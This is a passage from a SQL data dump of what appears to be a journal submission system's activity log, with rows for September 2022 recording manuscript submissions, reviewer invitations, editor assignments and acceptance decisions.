Reviewer',13066,'Editor',1456),(121374,'2022-09-16 16:43:22','Editor has Invited Reviewer',13066,'Editor',1456),(121375,'2022-09-16 16:43:26','Editor has Invited Reviewer',13066,'Editor',1456),(121376,'2022-09-16 16:43:31','Editor has Invited Reviewer',13066,'Editor',1456),(121377,'2022-09-16 16:43:36','Editor has Invited Reviewer',13066,'Editor',1456),(121378,'2022-09-16 16:43:41','Editor has Invited Reviewer',13066,'Editor',1456),(121379,'2022-09-16 16:43:45','Editor has Invited Reviewer',13066,'Editor',1456),(121380,'2022-09-16 16:43:50','Editor has Invited Reviewer',13066,'Editor',1456),(121381,'2022-09-16 16:43:55','Editor has Invited Reviewer',13066,'Editor',1456),(121382,'2022-09-16 16:43:59','Editor has Invited Reviewer',13066,'Editor',1456),(121383,'2022-09-16 16:44:04','Editor has Invited Reviewer',13066,'Editor',1456),(121384,'2022-09-16 16:44:09','Editor has Invited Reviewer',13066,'Editor',1456),(121385,'2022-09-16 16:44:13','Editor has Invited Reviewer',13066,'Editor',1456),(121386,'2022-09-16 16:44:18','Editor has Invited Reviewer',13066,'Editor',1456),(121387,'2022-09-16 16:44:23','Editor has Invited Reviewer',13066,'Editor',1456),(121388,'2022-09-16 16:44:28','Editor has Invited Reviewer',13066,'Editor',1456),(121389,'2022-09-16 16:44:32','Editor has Invited Reviewer',13066,'Editor',1456),(121390,'2022-09-16 16:44:37','Editor has Invited Reviewer',13066,'Editor',1456),(121391,'2022-09-16 16:44:42','Editor has Invited Reviewer',13066,'Editor',1456),(121392,'2022-09-16 16:44:47','Editor has Invited Reviewer',13066,'Editor',1456),(121393,'2022-09-16 16:44:53','Editor has Accepted to review Manuscript',13044,'Editor',1456),(121394,'2022-09-16 16:45:04','Editor has been Editor Decision Accepted article',13044,'Editor',1456),(121395,'2022-09-16 16:45:34','Editor has Invited Reviewer',13044,'Editor',1456),(121396,'2022-09-16 16:45:39','Editor has Invited Reviewer',13044,'Editor',1456),(121397,'2022-09-16 16:45:43','Editor has Invited Reviewer',13044,'Editor',1456),(121398,'2022-09-16 16:45:48','Editor has Invited Reviewer',13044,'Editor',1456),(121399,'2022-09-16 16:45:53','Editor has Invited Reviewer',13044,'Editor',1456),(121400,'2022-09-16 16:45:57','Editor has Invited Reviewer',13044,'Editor',1456),(121401,'2022-09-16 16:46:02','Editor has Invited Reviewer',13044,'Editor',1456),(121402,'2022-09-16 16:46:07','Editor has Invited Reviewer',13044,'Editor',1456),(121403,'2022-09-16 16:46:12','Editor has Invited Reviewer',13044,'Editor',1456),(121404,'2022-09-16 16:46:16','Editor has Invited Reviewer',13044,'Editor',1456),(121405,'2022-09-16 16:46:21','Editor has Invited Reviewer',13044,'Editor',1456),(121406,'2022-09-16 16:46:26','Editor has Invited Reviewer',13044,'Editor',1456),(121407,'2022-09-16 16:46:31','Editor has Invited Reviewer',13044,'Editor',1456),(121408,'2022-09-16 16:46:35','Editor has Invited Reviewer',13044,'Editor',1456),(121409,'2022-09-16 16:46:40','Editor has Invited Reviewer',13044,'Editor',1456),(121410,'2022-09-16 16:46:45','Editor has Invited Reviewer',13044,'Editor',1456),(121411,'2022-09-16 16:46:50','Editor has Invited Reviewer',13044,'Editor',1456),(121412,'2022-09-16 16:46:54','Editor has Invited Reviewer',13044,'Editor',1456),(121413,'2022-09-16 16:46:59','Editor has Invited Reviewer',13044,'Editor',1456),(121414,'2022-09-16 16:47:04','Editor has Invited Reviewer',13044,'Editor',1456),(121415,'2022-09-16 16:47:08','Editor has Invited Reviewer',13044,'Editor',1456),(121416,'2022-09-16 16:47:13','Editor has Invited Reviewer',13044,'Editor',1456),(121417,'2022-09-16 16:47:25','Editor has Accepted to review Manuscript',13042,'Editor',1456),(121418,'2022-09-16 16:47:36','Editor has been Editor Decision Accepted article',13042,'Editor',1456),(121419,'2022-09-16 16:47:43','Editor has Accepted to review Manuscript',13041,'Editor',1456),(121420,'2022-09-16 16:47:58','Editor has been Editor Decision Accepted article',13041,'Editor',1456),(121421,'2022-09-16 16:48:35','Editor has Invited Reviewer',13042,'Editor',1456),(121422,'2022-09-16 16:48:40','Editor has Invited Reviewer',13042,'Editor',1456),(121423,'2022-09-16 16:48:45','Editor has Invited Reviewer',13042,'Editor',1456),(121424,'2022-09-16 16:48:50','Editor has Invited Reviewer',13042,'Editor',1456),(121425,'2022-09-16 16:48:54','Editor has Invited Reviewer',13042,'Editor',1456),(121426,'2022-09-16 16:48:59','Editor has Invited Reviewer',13042,'Editor',1456),(121427,'2022-09-16 16:49:04','Editor has Invited Reviewer',13042,'Editor',1456),(121428,'2022-09-16 16:49:08','Editor has Invited Reviewer',13042,'Editor',1456),(121429,'2022-09-16 16:49:13','Editor has Invited Reviewer',13042,'Editor',1456),(121430,'2022-09-16 16:49:18','Editor has Invited Reviewer',13042,'Editor',1456),(121431,'2022-09-16 16:49:23','Editor has Invited Reviewer',13042,'Editor',1456),(121432,'2022-09-16 16:49:27','Editor has Invited Reviewer',13042,'Editor',1456),(121433,'2022-09-16 16:49:32','Editor has Invited Reviewer',13042,'Editor',1456),(121434,'2022-09-16 16:49:37','Editor has Invited Reviewer',13042,'Editor',1456),(121435,'2022-09-16 16:49:41','Editor has Invited Reviewer',13042,'Editor',1456),(121436,'2022-09-16 16:49:46','Editor has Invited Reviewer',13042,'Editor',1456),(121437,'2022-09-16 16:49:51','Editor has Invited Reviewer',13042,'Editor',1456),(121438,'2022-09-16 16:49:56','Editor has Invited Reviewer',13042,'Editor',1456),(121439,'2022-09-16 16:50:00','Editor has Invited Reviewer',13042,'Editor',1456),(121440,'2022-09-16 16:50:05','Editor has Invited Reviewer',13042,'Editor',1456),(121441,'2022-09-16 16:50:10','Editor has Invited Reviewer',13042,'Editor',1456),(121442,'2022-09-16 16:50:15','Editor has Invited Reviewer',13042,'Editor',1456),(121443,'2022-09-16 16:50:34','Editor has Invited Reviewer',13041,'Editor',1456),(121444,'2022-09-16 16:50:39','Editor has Invited Reviewer',13041,'Editor',1456),(121445,'2022-09-16 16:50:44','Editor has Invited Reviewer',13041,'Editor',1456),(121446,'2022-09-16 16:50:48','Editor has Invited Reviewer',13041,'Editor',1456),(121447,'2022-09-16 16:50:53','Editor has Invited Reviewer',13041,'Editor',1456),(121448,'2022-09-16 16:50:58','Editor has Invited Reviewer',13041,'Editor',1456),(121449,'2022-09-16 16:51:03','Editor has Invited Reviewer',13041,'Editor',1456),(121450,'2022-09-16 16:51:07','Editor has Invited Reviewer',13041,'Editor',1456),(121451,'2022-09-16 16:51:12','Editor has Invited Reviewer',13041,'Editor',1456),(121452,'2022-09-16 16:51:17','Editor has Invited Reviewer',13041,'Editor',1456),(121453,'2022-09-16 16:51:22','Editor has Invited Reviewer',13041,'Editor',1456),(121454,'2022-09-16 16:51:27','Editor has Invited Reviewer',13041,'Editor',1456),(121455,'2022-09-16 16:51:31','Editor has Invited Reviewer',13041,'Editor',1456),(121456,'2022-09-16 16:51:36','Editor has Invited Reviewer',13041,'Editor',1456),(121457,'2022-09-16 16:51:41','Editor has Invited Reviewer',13041,'Editor',1456),(121458,'2022-09-16 16:51:45','Editor has Invited Reviewer',13041,'Editor',1456),(121459,'2022-09-16 16:51:50','Editor has Invited Reviewer',13041,'Editor',1456),(121460,'2022-09-16 16:51:55','Editor has Invited Reviewer',13041,'Editor',1456),(121461,'2022-09-16 16:52:00','Editor has Invited Reviewer',13041,'Editor',1456),(121462,'2022-09-16 16:52:04','Editor has Invited Reviewer',13041,'Editor',1456),(121463,'2022-09-16 16:52:09','Editor has Invited Reviewer',13041,'Editor',1456),(121464,'2022-09-16 16:52:14','Editor has Invited Reviewer',13041,'Editor',1456),(121465,'2022-09-16 16:52:33','Editor has been Editor Decision Accepted article',13041,'Editor',1456),(121466,'2022-09-16 16:53:50','Editor has been Editor Decision Accepted article',13066,'Editor',1456),(121467,'2022-09-16 16:54:22','Editor has been Editor Decision Accepted article',13044,'Editor',1456),(121468,'2022-09-16 16:54:58','Editor has been Editor Decision Accepted article',13042,'Editor',1456),(121469,'2022-09-16 16:55:49','Editor has Accepted to review Manuscript',13045,'Editor',1370),(121470,'2022-09-16 16:55:58','Editor has been Editor Decision Accepted article',13045,'Editor',1370),(121471,'2022-09-16 16:56:09','Editor has Accepted to review Manuscript',13043,'Editor',1370),(121472,'2022-09-16 16:56:18','Editor has been Editor Decision Accepted article',13043,'Editor',1370),(121473,'2022-09-16 16:56:36','Editor has Invited Reviewer',13045,'Editor',1370),(121474,'2022-09-16 16:56:41','Editor has Invited Reviewer',13045,'Editor',1370),(121475,'2022-09-16 16:56:46','Editor has Invited Reviewer',13045,'Editor',1370),(121476,'2022-09-16 16:56:50','Editor has Invited Reviewer',13045,'Editor',1370),(121477,'2022-09-16 16:56:55','Editor has Invited Reviewer',13045,'Editor',1370),(121478,'2022-09-16 16:57:00','Editor has Invited Reviewer',13045,'Editor',1370),(121479,'2022-09-16 16:57:05','Editor has Invited Reviewer',13045,'Editor',1370),(121480,'2022-09-16 16:57:10','Editor has Invited Reviewer',13045,'Editor',1370),(121481,'2022-09-16 16:57:14','Editor has Invited Reviewer',13045,'Editor',1370),(121482,'2022-09-16 16:57:19','Editor has Invited Reviewer',13045,'Editor',1370),(121483,'2022-09-16 16:57:24','Editor has Invited Reviewer',13045,'Editor',1370),(121484,'2022-09-16 16:57:29','Editor has Invited Reviewer',13045,'Editor',1370),(121485,'2022-09-16 16:59:49','Manuscript Updated',13041,'Publisher',673),(121486,'2022-09-16 17:00:53','Publisher has been Accepted Articles  article',13041,'Publisher',673),(121487,'2022-09-16 17:02:07','Manuscript Updated',13042,'Publisher',673),(121488,'2022-09-16 17:02:29','Publisher has been Accepted Articles  article',13042,'Publisher',673),(121489,'2022-09-16 17:02:31','Publisher has been Accepted Articles  article',13042,'Publisher',673),(121490,'2022-09-16 17:03:50','Manuscript Updated',13045,'Publisher',673),(121491,'2022-09-16 17:04:13','Publisher has been Accepted Articles  article',13045,'Publisher',673),(121492,'2022-09-16 17:05:51','Manuscript Updated',13044,'Publisher',673),(121493,'2022-09-16 17:06:10','Publisher has been Accepted Articles  article',13044,'Publisher',673),(121494,'2022-09-17 01:48:26','Manuscript Submitted by Author using Submission form',13069,'Author',13268),(121495,'2022-09-17 05:40:58','Manuscript Submitted by Author using Submission form',13070,'Author',13269),(121496,'2022-09-17 09:32:52','Publisher has been Assigned Editor',13063,'Publisher',645),(121497,'2022-09-17 09:44:52','Manuscript Updated',13043,'Publisher',673),(121498,'2022-09-17 09:45:19','Publisher has been Accepted Articles  article',13043,'Publisher',673),(121499,'2022-09-17 09:45:21','Publisher has been Accepted Articles  article',13043,'Publisher',673),(121500,'2022-09-17 11:20:38','Manuscript Updated',13058,'Publisher',1009),(121501,'2022-09-17 11:21:26','Manuscript Updated',13060,'Publisher',319),(121502,'2022-09-17 11:21:39','Publisher has been Accepted Articles  article',13060,'Publisher',319),(121503,'2022-09-17 11:29:14','Publisher has Invited Reviewer',13006,'Publisher',376),(121504,'2022-09-17 11:29:19','Publisher has Invited Reviewer',13006,'Publisher',376),(121505,'2022-09-17 11:29:24','Publisher has Invited Reviewer',13006,'Publisher',376),(121506,'2022-09-17 11:29:29','Publisher has Invited Reviewer',13006,'Publisher',376),(121507,'2022-09-17 11:29:34','Publisher has Invited Reviewer',13006,'Publisher',376),(121508,'2022-09-17 11:29:39','Publisher has Invited Reviewer',13006,'Publisher',376),(121509,'2022-09-17 11:40:56','Publisher has Invited Reviewer',13062,'Publisher',48),(121510,'2022-09-17 11:41:01','Publisher has Invited Reviewer',13062,'Publisher',48),(121511,'2022-09-17 11:41:07','Publisher has Invited Reviewer',13062,'Publisher',48),(121512,'2022-09-17 11:41:12','Publisher has Invited Reviewer',13062,'Publisher',48),(121513,'2022-09-17 11:41:17','Publisher has Invited Reviewer',13062,'Publisher',48),(121514,'2022-09-17 11:50:07','Manuscript Submitted by Publisher',13071,'Publisher',376),(121515,'2022-09-19 09:43:12','Publisher has Invited Reviewer',13048,'Publisher',75),(121516,'2022-09-19 09:43:17','Publisher has Invited Reviewer',13048,'Publisher',75),(121517,'2022-09-19 09:43:22','Publisher has Invited Reviewer',13048,'Publisher',75),(121518,'2022-09-19 09:43:26','Publisher has Invited Reviewer',13048,'Publisher',75),(121519,'2022-09-19 09:43:31','Publisher has Invited Reviewer',13048,'Publisher',75),(121520,'2022-09-19 09:43:36','Publisher has Invited Reviewer',13048,'Publisher',75),(121521,'2022-09-19 09:43:40','Publisher has Invited Reviewer',13048,'Publisher',75),(121522,'2022-09-19 09:43:45','Publisher has Invited Reviewer',13048,'Publisher',75),(121523,'2022-09-19 09:43:50','Publisher has Invited Reviewer',13048,'Publisher',75),(121524,'2022-09-19 09:43:54','Publisher has Invited Reviewer',13048,'Publisher',75),(121525,'2022-09-19 09:43:59','Publisher has Invited Reviewer',13048,'Publisher',75),(121526,'2022-09-19 09:44:04','Publisher has Invited Reviewer',13048,'Publisher',75),(121527,'2022-09-19 09:44:08','Publisher has Invited Reviewer',13048,'Publisher',75),(121528,'2022-09-19 09:52:20','Publisher: Accept Notification has been sent to Author',13038,'Publisher',988),(121529,'2022-09-19 09:53:34','Publisher has been Accepted Articles  article',13038,'Publisher',988),(121530,'2022-09-19 12:28:29','Editor has Accepted to review Manuscript',12797,'Editor',1780),(121531,'2022-09-19 12:28:38','Editor has Accepted to review Manuscript',12895,'Editor',1780),(121532,'2022-09-19 12:29:09','Editor has been Editor Decision Accepted article',12797,'Editor',1780),(121533,'2022-09-19 12:29:57','Publisher has been Accepted Articles  article',12797,'Publisher',984),(121534,'2022-09-19 13:19:50','Publisher has been Assigned Editor',13067,'Publisher',48),(121535,'2022-09-19 13:27:00','Editor has Accepted to review Manuscript',12856,'Editor',160),(121536,'2022-09-19 13:27:12','Editor has been Editor Decision Accepted article',12856,'Editor',160),(121537,'2022-09-19 13:29:22','Publisher has been Accepted Articles  article',12871,'Publisher',984),(121538,'2022-09-19 13:30:18','Publisher: Accept Notification has been sent to Author',12856,'Publisher',75),(121539,'2022-09-19 13:39:01','Publisher has been Accepted Articles  article',12856,'Publisher',75),(121540,'2022-09-19 13:42:58','Reviewer has submitted comments',13052,'Reviewer',21519),(121541,'2022-09-19 13:43:54','Editor has Accepted to review Manuscript',13052,'Editor',193),(121542,'2022-09-19 13:44:04','Editor has been Editor Decision Accepted article',13052,'Editor',193),(121543,'2022-09-19 13:52:53','Publisher has Invited Reviewer',13067,'Publisher',48),(121544,'2022-09-19 13:52:58','Publisher has Invited Reviewer',13067,'Publisher',48),(121545,'2022-09-19 13:53:02','Publisher has Invited Reviewer',13067,'Publisher',48),(121546,'2022-09-19 13:53:07','Publisher has Invited Reviewer',13067,'Publisher',48),(121547,'2022-09-19 13:53:12','Publisher has Invited Reviewer',13067,'Publisher',48),(121548,'2022-09-19 13:53:16','Publisher has Invited Reviewer',13067,'Publisher',48),(121549,'2022-09-19 13:53:40','Manuscript Updated',13052,'Publisher',48),(121550,'2022-09-19 13:54:20','Publisher has been Accepted Articles  article',13052,'Publisher',48),(121551,'2022-09-19 13:55:19','Manuscript Updated',13052,'Publisher',48),(121552,'2022-09-19 15:50:07','Publisher: Accept Notification has been sent to Author',13047,'Publisher',972),(121553,'2022-09-19 16:42:01','Publisher has been Assigned Editor',13070,'Publisher',645),(121554,'2022-09-19 16:42:41','Reviewer has submitted comments',13059,'Reviewer',21475),(121555,'2022-09-19 16:42:54','Publisher has Invited Reviewer',13063,'Publisher',645),(121556,'2022-09-19 16:42:58','Publisher has Invited Reviewer',13063,'Publisher',645),(121557,'2022-09-19 16:43:03','Publisher has Invited Reviewer',13063,'Publisher',645),(121558,'2022-09-19 16:43:07','Editor has Accepted to review Manuscript',13059,'Editor',1779),(121559,'2022-09-19 16:43:08','Publisher has Invited Reviewer',13063,'Publisher',645),(121560,'2022-09-19 16:43:12','Publisher has Invited Reviewer',13063,'Publisher',645),(121561,'2022-09-19 16:43:16','Editor has been Editor Decision Accepted article',13059,'Editor',1779),(121562,'2022-09-19 16:43:17','Publisher has Invited Reviewer',13063,'Publisher',645),(121563,'2022-09-19 16:43:43','Publisher has Invited Reviewer',13070,'Publisher',645),(121564,'2022-09-19 16:43:47','Publisher has Invited Reviewer',13070,'Publisher',645),(121565,'2022-09-19 16:44:05','Publisher has Invited Reviewer',13070,'Publisher',645),(121566,'2022-09-19 16:44:06','Publisher: Accept Notification has been sent to Author',13059,'Publisher',988),(121567,'2022-09-19 16:44:09','Publisher has Invited Reviewer',13070,'Publisher',645),(121568,'2022-09-19 16:44:14','Publisher has Invited Reviewer',13070,'Publisher',645),(121569,'2022-09-19 16:44:19','Publisher has Invited Reviewer',13070,'Publisher',645),(121570,'2022-09-19 16:44:24','Publisher has Invited Reviewer',13070,'Publisher',645),(121571,'2022-09-19 16:44:26','Manuscript Updated',13059,'Publisher',988),(121572,'2022-09-19 16:44:29','Publisher has Invited Reviewer',13070,'Publisher',645),(121573,'2022-09-19 16:44:33','Publisher has Invited Reviewer',13070,'Publisher',645),(121574,'2022-09-19 16:44:49','Publisher has been Accepted Articles  article',13059,'Publisher',988),(121575,'2022-09-19 16:45:13','Manuscript Updated',13059,'Publisher',988),(121576,'2022-09-20 09:08:25','Publisher has Invited Reviewer',13048,'Publisher',75),(121577,'2022-09-20 09:08:30','Publisher has Invited Reviewer',13048,'Publisher',75),(121578,'2022-09-20 09:08:35','Publisher has Invited Reviewer',13048,'Publisher',75),(121579,'2022-09-20 09:08:40','Publisher has Invited Reviewer',13048,'Publisher',75),(121580,'2022-09-20 09:08:44','Publisher has Invited Reviewer',13048,'Publisher',75),(121581,'2022-09-20 09:08:49','Publisher has Invited Reviewer',13048,'Publisher',75),(121582,'2022-09-20 09:08:54','Publisher has Invited Reviewer',13048,'Publisher',75),(121583,'2022-09-20 09:08:58','Publisher has Invited Reviewer',13048,'Publisher',75),(121584,'2022-09-20 09:09:57','Publisher has been Assigned Editor',13069,'Publisher',85),(121585,'2022-09-20 09:15:20','Publisher has Invited Reviewer',13069,'Publisher',85),(121586,'2022-09-20 09:15:25','Publisher has Invited Reviewer',13069,'Publisher',85),(121587,'2022-09-20 09:15:30','Publisher has Invited Reviewer',13069,'Publisher',85),(121588,'2022-09-20 09:15:35','Publisher has Invited Reviewer',13069,'Publisher',85),(121589,'2022-09-20 09:15:39','Publisher has Invited Reviewer',13069,'Publisher',85),(121590,'2022-09-20 09:15:44','Publisher has Invited Reviewer',13069,'Publisher',85),(121591,'2022-09-20 09:15:49','Publisher has Invited Reviewer',13069,'Publisher',85),(121592,'2022-09-20 09:15:53','Publisher has Invited Reviewer',13069,'Publisher',85),(121593,'2022-09-20 09:15:58','Publisher has Invited Reviewer',13069,'Publisher',85),(121594,'2022-09-20 09:16:03','Publisher has Invited Reviewer',13069,'Publisher',85),(121595,'2022-09-20 09:19:59','Publisher has Invited Reviewer',13008,'Publisher',75),(121596,'2022-09-20 09:23:12','Publisher has Invited Reviewer',13008,'Publisher',75),(121597,'2022-09-20 09:23:17','Publisher has Invited Reviewer',13008,'Publisher',75),(121598,'2022-09-20 09:23:22','Publisher has Invited Reviewer',13008,'Publisher',75),(121599,'2022-09-20 09:23:27','Publisher has Invited Reviewer',13008,'Publisher',75),(121600,'2022-09-20 09:23:31','Publisher has Invited Reviewer',13008,'Publisher',75),(121601,'2022-09-20 09:23:36','Publisher has Invited Reviewer',13008,'Publisher',75),(121602,'2022-09-20 09:35:25','Publisher has been Assigned Editor',13068,'Publisher',319),(121603,'2022-09-20 09:53:00','Publisher has Invited Reviewer',12977,'Publisher',75),(121604,'2022-09-20 09:53:06','Publisher has Invited Reviewer',12977,'Publisher',75),(121605,'2022-09-20 09:53:18','Publisher has Invited Reviewer',12977,'Publisher',75),(121606,'2022-09-20 09:53:23','Publisher has Invited Reviewer',12977,'Publisher',75),(121607,'2022-09-20 09:53:28','Publisher has Invited Reviewer',12977,'Publisher',75),(121608,'2022-09-20 09:53:33','Publisher has Invited Reviewer',12977,'Publisher',75),(121609,'2022-09-20 11:16:23','Manuscript Updated',13068,'Publisher',319),(121610,'2022-09-20 11:16:46','Publisher has been Accepted Articles  article',13068,'Publisher',319),(121611,'2022-09-20 11:26:01','Reviewer has submitted comments',12850,'Reviewer',21473),(121612,'2022-09-20 11:26:15','Reviewer has been sent email to Publisher',13059,'Reviewer',21476),(121613,'2022-09-20 11:26:32','Editor has Accepted to review Manuscript',12850,'Editor',191),(121614,'2022-09-20 11:26:44','Editor has been Editor Decision Accepted article',12850,'Editor',191),(121615,'2022-09-20 11:27:35','Publisher has been Accepted Articles  article',12850,'Publisher',48),(121616,'2022-09-20 12:22:36','Manuscript Submitted by Author using Submission form',13072,'Author',13270),(121617,'2022-09-20 12:31:09','Manuscript Submitted by Author using Submission form',13073,'Author',13271),(121618,'2022-09-20 15:28:07','Publisher has been Withdrawn  article',12727,'',1050),(121619,'2022-09-20 15:28:09','Publisher has been Withdrawn  article',12727,'',1050),(121620,'2022-09-20 15:28:10','Publisher has been Withdrawn  article',12727,'',1050),(121621,'2022-09-20 16:03:51','Publisher has been Withdrawn  article',12684,'',1050),(121622,'2022-09-20 16:04:06','Publisher has been Withdrawn  article',12672,'',1050),(121623,'2022-09-20 16:04:08','Publisher has been Withdrawn  article',12672,'',1050),(121624,'2022-09-20 17:04:44','Publisher has been Accepted Articles  article',10366,'Publisher',274),(121625,'2022-09-20 18:10:55','Manuscript Submitted by Publisher',13074,'Publisher',319),(121626,'2022-09-21 10:21:00','Publisher has Invited Reviewer',13069,'Publisher',85),(121627,'2022-09-21 10:21:04','Publisher has Invited Reviewer',13069,'Publisher',85),(121628,'2022-09-21 10:21:09','Publisher has Invited Reviewer',13069,'Publisher',85),(121629,'2022-09-21 10:21:14','Publisher has Invited Reviewer',13069,'Publisher',85),(121630,'2022-09-21 10:21:18','Publisher has Invited Reviewer',13069,'Publisher',85),(121631,'2022-09-21 10:21:23','Publisher has Invited Reviewer',13069,'Publisher',85),(121632,'2022-09-21 10:21:28','Publisher has Invited Reviewer',13069,'Publisher',85),(121633,'2022-09-21 10:21:33','Publisher has Invited Reviewer',13069,'Publisher',85),(121634,'2022-09-21 10:21:37','Publisher has Invited Reviewer',13069,'Publisher',85),(121635,'2022-09-21 10:21:42','Publisher has Invited Reviewer',13069,'Publisher',85),(121636,'2022-09-21 10:52:47','Editor has Accepted to review Manuscript',13070,'Editor',634),(121637,'2022-09-21 10:52:55','Editor has Accepted to review Manuscript',13063,'Editor',634),(121638,'2022-09-21 11:30:03','Publisher has been Assigned Editor',13065,'Publisher',248),(121639,'2022-09-21 12:17:34','Reviewer has submitted comments',12867,'Reviewer',21484),(121640,'2022-09-21 12:18:12','Editor has Accepted to review Manuscript',12867,'Editor',192),(121641,'2022-09-21 12:18:28','Editor has been Editor Decision Accepted article',12867,'Editor',192),(121642,'2022-09-21 12:19:32','Publisher has been Accepted Articles  article',12867,'Publisher',48),(121643,'2022-09-21 12:31:48','Manuscript Updated',13065,'Publisher',248),(121644,'2022-09-21 12:32:07','Publisher has been Accepted Articles  article',13065,'Publisher',248),(121645,'2022-09-21 14:35:54','Editor has Accepted to review Manuscript',12861,'Editor',160),(121646,'2022-09-21 14:36:10','Editor has been Editor Decision Accepted article',12861,'Editor',160),(121647,'2022-09-21 14:37:19','Publisher: Accept Notification has been sent to Author',12861,'Publisher',75),(121648,'2022-09-21 14:37:50','Publisher has been Accepted Articles  article',12861,'Publisher',75),(121649,'2022-09-21 15:41:03','Publisher has been Assigned Editor',13073,'Publisher',319),(121650,'2022-09-21 15:41:20','Publisher has been Assigned Editor',13072,'Publisher',319),(121651,'2022-09-21 18:05:35','Editor has been Editor Decision Accepted article',12858,'Editor',161),(121652,'2022-09-21 18:06:20','Publisher: Accept Notification has been sent to Author',12858,'Publisher',75),(121653,'2022-09-21 18:06:43','Publisher has been Accepted Articles  article',12858,'Publisher',75),(121654,'2022-09-21 18:07:49','Editor has Accepted to review Manuscript',12977,'Editor',160),(121655,'2022-09-21 18:08:36','Editor has been Editor Decision Accepted article',12977,'Editor',160),(121656,'2022-09-21 18:09:29','Publisher: Accept Notification has been sent to Author',12977,'Publisher',75),(121657,'2022-09-21 18:10:02','Publisher has been Accepted Articles  article',12977,'Publisher',75),(121658,'2022-09-21 18:10:05','Publisher has been Accepted Articles  article',12977,'Publisher',75),(121659,'2022-09-22 10:08:08','Manuscript Submitted by Author using Submission form',13076,'Author',13274),(121660,'2022-09-22 10:34:03','Publisher has been Assigned Editor',13071,'Publisher',376),(121661,'2022-09-22 10:35:18','Editor has Accepted to review Manuscript',13071,'Editor',1452),(121662,'2022-09-22 10:35:32','Editor has been Editor Decision Accepted article',13071,'Editor',1452),(121663,'2022-09-22 10:36:29','Manuscript Updated',13071,'Publisher',376),(121664,'2022-09-22 10:36:46','Publisher has been Accepted Articles  article',13071,'Publisher',376),(121665,'2022-09-22 13:48:47','Manuscript Updated',12981,'Publisher',248),(121666,'2022-09-22 13:49:06','Publisher has been Accepted Articles  article',12981,'Publisher',248),(121667,'2022-09-22 14:28:23','Reviewer has submitted comments',12912,'Reviewer',21374),(121668,'2022-09-22 14:28:52','Editor has Accepted to review Manuscript',12912,'Editor',192),(121669,'2022-09-22 14:29:04','Editor has been Editor Decision Accepted article',12912,'Editor',192),(121670,'2022-09-22 14:31:07','Publisher: Accept Notification has been sent to Author',12912,'Publisher',48),(121671,'2022-09-22 14:31:27','Publisher has been Accepted Articles  article',12912,'Publisher',48),(121672,'2022-09-22 14:45:25','Editor has Accepted to review Manuscript',13008,'Editor',162),(121673,'2022-09-22 14:45:36','Editor has been Editor Decision Accepted article',13008,'Editor',162),(121674,'2022-09-22 14:46:13','Publisher: Accept Notification has been sent to Author',13008,'Publisher',75),(121675,'2022-09-22 14:46:35','Publisher has been Accepted Articles  article',13008,'Publisher',75),(121676,'2022-09-22 14:47:11','Editor has Accepted to review Manuscript',13065,'Editor',358),(121677,'2022-09-22 14:47:18','Editor has Accepted to review Manuscript',13057,'Editor',358),(121678,'2022-09-22 14:47:34','Editor has Accepted to review Manuscript',13032,'Editor',358),(121679,'2022-09-22 14:48:04','Editor has been Editor Decision Accepted article',13032,'Editor',358),(121680,'2022-09-22 14:48:21','Editor has been Editor Decision Accepted article',13057,'Editor',358),(121681,'2022-09-22 14:48:29','Editor has been Editor Decision Accepted article',13065,'Editor',358),(121682,'2022-09-22 14:48:37','Editor has Accepted to review Manuscript',12983,'Editor',358),(121683,'2022-09-22 14:48:46','Editor has been Editor Decision Accepted article',12983,'Editor',358),(121684,'2022-09-22 14:48:54','Editor has Accepted to review Manuscript',12930,'Editor',358),(121685,'2022-09-22 14:49:06','Editor has been Editor Decision Accepted article',12930,'Editor',358),(121686,'2022-09-22 14:49:16','Editor has Accepted to review Manuscript',6050,'Editor',358),(121687,'2022-09-22 14:49:27','Editor has Accepted to review Manuscript',12925,'Editor',358),(121688,'2022-09-22 14:49:37','Editor has been Editor Decision Accepted article',12925,'Editor',358),(121689,'2022-09-22 14:50:27','Editor has been Editor Decision Accepted article',6984,'Editor',358),(121690,'2022-09-22 14:51:49','Editor has Accepted to review Manuscript',13054,'Editor',1674),(121691,'2022-09-22 14:52:10','Editor has been Editor Decision Accepted article',13054,'Editor',1674),(121692,'2022-09-22 14:52:16','Editor has Accepted to review Manuscript',12662,'Editor',1674),(121693,'2022-09-22 14:52:27','Editor has been Editor Decision Accepted article',12662,'Editor',1674),(121694,'2022-09-22 14:52:40','Editor has Accepted to review Manuscript',12190,'Editor',1674),(121695,'2022-09-22 14:52:49','Editor has been Editor Decision Accepted article',12190,'Editor',1674),(121696,'2022-09-22 14:53:02','Editor has Accepted to review Manuscript',11846,'Editor',1674),(121697,'2022-09-22 14:53:12','Editor has been Editor Decision Accepted article',11846,'Editor',1674),(121698,'2022-09-23 10:31:36','Publisher has been Assigned Editor',13074,'Publisher',319),(121699,'2022-09-23 10:47:15','Publisher has Unassign Editor',12965,'',1050),(121700,'2022-09-23 14:05:47','Manuscript Submitted by Author using Submission form',13077,'Author',13276),(121701,'2022-09-23 14:07:55','Manuscript Submitted by Author using Submission form',13078,'Author',13277),(121702,'2022-09-23 14:16:02','Manuscript Submitted by Author using Submission form',13079,'Author',13278),(121703,'2022-09-23 14:17:54','Manuscript Submitted by Author using Submission form',13080,'Author',13279),(121704,'2022-09-23 14:21:28','Manuscript Submitted by Author using Submission form',13081,'Author',13280),(121705,'2022-09-23 14:43:25','Manuscript Updated',13072,'Publisher',319),(121706,'2022-09-23 14:43:39','Publisher has been Accepted Articles  article',13072,'Publisher',319),(121707,'2022-09-23 14:46:19','Publisher has been Assigned Editor',13076,'Publisher',48),(121708,'2022-09-23 15:30:04','Publisher has been Assigned Editor',13077,'Publisher',75),(121709,'2022-09-23 15:30:24','Publisher has been Assigned Editor',13078,'Publisher',75),(121710,'2022-09-23 15:30:39','Publisher has been Assigned Editor',13079,'Publisher',75),(121711,'2022-09-23 15:30:54','Publisher has been Assigned Editor',13080,'Publisher',75),(121712,'2022-09-23 15:31:09','Publisher has been Assigned Editor',13081,'Publisher',75),(121713,'2022-09-23 15:40:01','Manuscript Updated',13077,'Publisher',75),(121714,'2022-09-23 15:41:17','Publisher has been Accepted Articles  article',13077,'Publisher',75),(121715,'2022-09-23 15:43:22','Manuscript Updated',13078,'Publisher',75),(121716,'2022-09-23 15:43:52','Publisher has been Accepted Articles  article',13078,'Publisher',75),(121717,'2022-09-23 15:43:54','Publisher has been Accepted Articles  article',13078,'Publisher',75),(121718,'2022-09-23 15:46:20','Manuscript Updated',13079,'Publisher',75),(121719,'2022-09-23 15:46:44','Publisher has been Accepted Articles  article',13079,'Publisher',75),(121720,'2022-09-23 15:47:06','Manuscript 